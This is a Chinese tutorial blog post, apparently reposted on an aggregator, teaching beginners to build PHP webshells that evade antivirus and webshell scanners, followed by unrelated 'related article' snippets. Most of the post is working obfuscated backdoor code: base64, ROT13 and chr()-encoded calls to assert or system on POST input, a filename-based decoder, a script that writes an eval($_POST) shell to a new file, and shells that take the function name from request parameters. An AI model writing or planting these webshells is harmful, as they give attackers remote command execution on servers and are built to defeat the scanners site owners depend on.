小白必看web专题!PHP-WebShell免杀(基础版)!!真的很简单!(全网最详细版本)

大家好,我是Dest1ny!

最近一直在搞辅导啥的,所以没啥时间搞写~

也谢谢大家一直的点赞,今天特意把之前的web专题再发一个。

废话不多说,我们直接开始!


CLASS-1 WebShell免杀测试


  • 渊龙Sec团队导航(上面啥都有): 渊龙Sec安全团队导航
  • 长亭牧云查杀: CT Stack 安全社区
  • 阿里云恶意文件检测平台:阿里云恶意文件检测平台
  • 阿里伏魔引擎: https://xz.aliyun.com/zues
  • VirusTotal: VirusTotal
  • 微步在线云沙箱: https://s.threatbook.com/
  • 河马WebShell查杀: SHELLPUB.COM在线查杀
  • 百度WEBDIR+: https://scanner.baidu.com/
  • D盾: D盾防火墙
  • 网站安全狗: 网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改

这些就是我们检测自己写的webshell有没有免杀效果的网站!

CLASS-2 最简单的webshell

我们看一下我们最熟悉的webshell!

eval() 函数把字符串按照 PHP 代码来计算,即执行PHP代码

$_POST传参,将传参内容作为php代码执行

这就是最简单的一句话木马,但是我解释的这两个知识点恰好就是各大厂商主要去检测的地方。

就是高危函数和命令执行函数这两个部分。

那免杀本质就是通过代码混淆和变形去绕过检测规则。

CLASS-3 webshell免杀(编码)

base64解码(下划线利用)

<?php
$f = base64_decode("YX____Nz__ZX__J0");  //解密后为assert高危函数
$f($_POST["Dest1ny"]);//assert($_POST["Dest1ny"]);
?>

通过将下划线包含在 Base64 字符串中并观察解码结果,可以判断系统的过滤机制。

但是这种局限性很大,要去一点一点测试过滤规则,万一不过滤下划线怎么办?

ASCII编码

道理一样,就是编码方式改变了

<?php
//ASCII编码解密后为assert高危函数
$f =  chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
$f($_POST['Dest1ny']);                //assert($_POST['Dest1ny']);
?>

ROT13编码 

$f = str_rot13('flfgrz');  //解密后为system高危函数
$f($_POST['Dest1ny']);      //system($_POST['Dest1ny']);

CLASS-3 webshell免杀(拼接)

文件名与数组结合

<?php
function confusion($a){// 定义一个字符数组,用于转换数字到字符$s = ['a', 't', 's', 'y', 'm', 'e', '/'];$tmp = "";  // 用于存储转换后的结果// 当输入的数字大于10时进行循环处理while ($a > 10) {// 将当前数字模10的结果作为数组索引,拼接到结果字符串中$tmp .= $s[$a % 10];// 将数字除以10,为下一次循环做准备$a = $a / 10;}// 最后将剩余的数字对应的字符拼接到结果中return $tmp . $s[$a];
}// 从当前文件名中提取出最后10个字符中的6个字符,结果是'976534'(字符串)
$f = confusion(intval(substr(__FILE__, -10, 6))); // sysTem(高危函数)// 最终构建出一个高危函数的调用 sysTem,传入POST请求中的'Dest1ny'参数
$f($_POST['Dest1ny']); // sysTem($_POST['Dest1ny']);
?>

你们看,这个就很骚,先把文件名设置成数字,再通过数字和数组的结合去进行绕过免杀。

 

写入新文件绕过

这里先把system通过字符串替换构造了出来

再去拼接到一句话木马里,而且这里是把eval$_POST转换成evqrw$_yKST

 最后去把内容写入新文件

<?php
$hahaha = strtr("abatme","me","em");      //$hahaha = abatem
$wahaha = strtr($hahaha,"ab","sy");       //$wahaha = system(高危函数)
$gogogo = strtr('echo "<?php evqrw$_yKST[Dest1ny])?>" > ./out.php',"qrwxyK","al(_PO");
$gogogo = 'echo "<?php eval(_POST[Dest1ny])?>" > ./out.php';
$wahaha($gogogo);  //将一句话木马内容写入同目录下的out.php中;
?>

CLASS-4 webshell免杀(参数绕过)

base64传参绕过

<?php
$decrpt = $_REQUEST['a'];
$decrps = $_REQUEST['b'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
$arrt = explode("|", $decrps)[1];
$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);
?>
  • 接收请求参数

    $decrpt = $_REQUEST['a']; $decrps = $_REQUEST['b'];

    • 从 HTTP 请求中获取参数 ab
  • 处理参数 a

    $arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs));

    • 使用 explode("|", $decrpt) 将参数 a| 符号分割,取第二部分(索引为 1)。
    • 对该部分进行 Base64 解码。
    • 解码后的结果再次使用 explode("|", ...) 进行分割,得到一个数组 $arrs
  • 处理参数 b

    $arrt = explode("|", $decrps)[1]; $arrt = explode("|", base64_decode($arrt));

    • 对参数 b 进行相同的处理:分割并解码。
    • 结果存储在数组 $arrt 中。
  • 调用函数

    call_user_func($arrs[0], $arrt[0]);

    • 使用 call_user_func() 动态调用 $arrs 数组中的第一个元素所对应的函数,并将 $arrt 数组中的第一个元素作为参数传递。

到最后只要你传参是base64加密完的敏感函数就可以了

  • 这里 c3lzdGVt 是字符串 system 的 Base64 编码。
  • 这里 d2hvYW1p 是字符串 whoami 的 Base64 编码。

 

函数构造传参 

  • $f = $_REQUEST['f']; 从用户请求中获取一个名为 f 的参数,这个参数应该是一个函数名称(例如 system)。
  • declare(ticks=1); 设置一个 PHP 的指令块,每执行一条语句就触发一次注册的 tick 函数。
  • register_tick_function($f, $_REQUEST['aabyss']); 注册一个 tick 函数,这个 tick 函数会在每个 tick 时被调用。这里的 $f 是用户传入的函数名,而
  • $_REQUEST['aabyss'] 是该函数的参数。
<?php
$f = $_REQUEST['f'];
declare(ticks=1);
register_tick_function ($f, $_REQUEST['aabyss']); 
?>

那我们在$f传参中是system,不就构造好了吗!


今天就先这样吧,累累的哈哈哈

大家多多关注Dest1ny,现在已经300粉丝了!!!感谢大家!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/55932.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PyQt5常用功能三

日历 QCalendarWidget 提供了基于⽉份的⽇历插件&#xff0c;⼗分简易⽽且直观 from PyQt5.QtWidgets import (QWidget, QCalendarWidget,QLabel, QApplication, QVBoxLayout) from PyQt5.QtCore import QDate import sysclass Example(QWidget):def __init__(self):super().…

[C#]项目中如何用 GraphQL 代替传统 WebAPI服务

在现代应用程序开发中&#xff0c;传统的 WebAPI 通常使用 RESTful 设计风格&#xff0c;然而近年来 GraphQL 作为一种新的 API 查询语言逐渐获得广泛应用。GraphQL 允许客户端精确地查询所需的数据&#xff0c;减少了过度请求和不足请求的问题。本文将详细讨论在项目中用 Grap…

Linux高阶——0928—Github本地仓库与云端仓库关联

1、安装代理软件 steam 选择Github和系统代理模式&#xff0c;一键加速即可 2、 安装Git 3、访问Github网站&#xff0c;创建新用户 4、Github探索 &#xff08;1&#xff09;Explore探索标签 &#xff08;2&#xff09;工程结构 用户名/仓库名 自述文件&#xff0c;用markdo…

SPI通信——FPGA学习笔记14

一、简介 SPI(Serial Periphera Interface&#xff0c;串行外围设备接口)通讯协议&#xff0c;是 Motorola 公司提出的一种同步串行接口技术&#xff0c;是一种高速、全双工、同步通信总线&#xff0c;在芯片中只占用四根管脚用来控制及数据传输&#xff0c;广泛用于 EEPROM、F…

多层感知机(MLP)实现考勤预测二分类任务(sklearn)

1、基础应用&#xff1a; https://blog.csdn.net/qq_36158230/article/details/118670801 多层感知机(MLP)实现考勤预测二分类任务(sklearn) 2、分类器参数&#xff1a;https://scikit-learn.org/dev/modules/generated/sklearn.neural_network.MLPClassifier.html 3、损失函数…

Redis配置篇 - 指定Redis配置的三种方式,以及Redis配置文件介绍

文章目录 1 指定Redis配置的三种方式1.1 通过命令行参数来指定Redis配置1.2 通过配置文件来指定Redis配置1.3 在服务器运行时更​​改 Redis 配置 2 关于Redis配置文件 1 指定Redis配置的三种方式 1.1 通过命令行参数来指定Redis配置 在redis启动时&#xff0c;可以直接通过命…

绿野仙踪不仅是童话,还是便宜又好用的产品测试法!

以 ChatGPT 为代表的大语言模型爆火后&#xff0c;推动了对话类人工智能产品的高速发展&#xff0c;我们已经看到了如智能助理、问答系统、自动写作等多种类型的个性化对话类 AI 服务。 AI 能力的提升让人们对智能 AI 产品的期望越来越高&#xff0c;相关产品的用户体验也因此变…

【音频可视化】通过canvas绘制音频波形图

前言 这两天写项目刚好遇到Ai对话相关的需求&#xff0c;需要录音功能&#xff0c;绘制录制波形图&#xff0c;写了一个函数用canvas实现可视化&#xff0c;保留分享一下&#xff0c;有需要的直接粘贴即可&#xff0c;使用时传入一个1024长的&#xff0c;0-255大小的Uint8Arra…

豆包MarsCode 合伙人计划限时招募中,推广最高赢万元现金!

豆包MarsCode 合伙人计划正式上线啦&#xff01;作为官方推出的推广激励项目&#xff0c;豆包MarsCode 编程助手号召和鼓励所有用户向我们推荐新用户。 现在正式开启首轮合伙人招募&#xff0c;诚邀各位有意愿推广普及 AI 编程产品的伙伴成为我们的合伙人&#xff0c;全国限量…

jmeter输出性能测试报告(常见问题处理与处理)

问题1&#xff1a;报错 WARNING: Could not open/create prefs root node Software\JavaSoft\Prefs at root 0x80000002. Windows R 意思是&#xff1a;报没有权限 处理&#xff1a; 操作非gui生成测试报告的方法 cmd界面进入到 jmeter的bin目录 jmeter –n –t -l -e –o …

对后端返回的日期属性进行格式化(扩展 Spring MVC 的消息转换器)

格式化之前 格式化之后&#xff1a; 解决方式 方式一 在属性中加上注解&#xff0c;对日期进行格式化 JsonFormat(pattern "yyyy-MM-dd HH:mm:ss")private LocalDateTime createTime;//JsonFormat(pattern &quo…

“校友会综合服务平台:连接校友与母校的桥梁”

在当今信息化时代&#xff0c;校友会作为校友与母校之间的重要桥梁&#xff0c;其功能与服务不断拓展和深化。为了更好地满足校友的需求&#xff0c;构建一个高效、便捷的校友服务体系&#xff0c;我们开发了一款基于FastAdmin ThinkPHP Uniapp技术架构的校友会综合服务平台。…

什么是汽车中的SDK?

无论是在家里使用预制菜包做一顿大厨级别的晚餐&#xff0c;还是使用IKEA套组装配出时尚的北欧风桌子&#xff0c;我们都熟悉这样一种概念&#xff1a;比起完全从零开始&#xff0c;使用工具包可以帮助我们更快、更高效地完成一件事。 在速度至关重要的商业软件领域&#xff0…

Linux中各种查看

查看命令 ls ls &#xff1a;简单列出当前目录下的文件和子目录。 ls 目录路径 &#xff1a;列出指定目录下的内容。 ls -l &#xff1a;以长格式显示详细信息&#xff0c;包括文件权限、所有者、大小、修改时间等。 ls -a &#xff1a;显示包括隐藏文件&#xff08;以 . 开…

利用FnOS搭建虚拟云桌面,并搭建前端开发环境(一)

利用FnOS搭建虚拟云桌面&#xff0c;并搭建前端开发环境 一 飞牛FnOS官方文档一、安装FnOS【Win11系统】1.下载VirtualBox2.下载FnOS镜像3.创建虚拟机4.启动完成后&#xff0c;会进入这样一个界面&#xff0c;这个基本上后续就后台了 本人在网上冲浪了很久&#xff0c;一直也没…

DGX的优势

NVIDIA DGX 的 AI 领导力 文章目录 前言一、概述推动跨行业的 AI 创新二、优势客户体验到哪些好处?1. 利用生成式 AI 释放研究人员的潜力2. 加快现代应用程序的上市时间3. 利用 AI 改善客户体验三、性能性能很重要1. 为世界上最先进的超级计算机提供动力2. 打破世界纪录3. 提高…

Apache Flink 和 Apache Kafka

Apache Flink 和 Apache Kafka 都是大数据生态系统中非常重要的工具&#xff0c;但它们的作用和应用场景有所不同。下面将分别介绍两者的主要特性和它们之间的异同点。 Apache Kafka 作用&#xff1a; 消息队列&#xff1a;Kafka 主要作为消息队列使用&#xff0c;用于解耦生…

ES6总结

1.let和const以及与var区别 1.1 作用域 var&#xff1a; 变量提升&#xff08;Hoisting&#xff09;&#xff1a;var 声明的变量会被提升到其作用域的顶部&#xff0c;但赋值不会提升。这意味着你可以在声明之前引用该变量&#xff08;但会得到 undefined&#xff09;。 con…

CSS元素显示类型

display 属性是 CSS 中最重要的属性之一&#xff0c;主要用来控制元素的布局&#xff0c;通过 display 属性您可以设置元素是否显示以及如何显示。 根据元素类型的不同&#xff0c;每个元素都有一个默认的 display 属性值&#xff0c;例如<div>默认的 display 属性值为 …

电脑端视频通过PCIE到FPGA端转UDP网络视频输出,基于XDMA+PHY芯片架构,提供3套工程源码和技术支持

目录 1、前言工程概述免责声明 2、相关方案推荐我已有的PCIE方案我这里已有的以太网方案 3、PCIE基础知识扫描4、工程详细设计方案工程设计原理框图电脑端视频PCIE视频采集QT上位机XDMA配置及使用XDMA中断模块FDMA图像缓存UDP视频组包发送UDP协议栈MAC数据缓冲FIFO组Tri Mode E…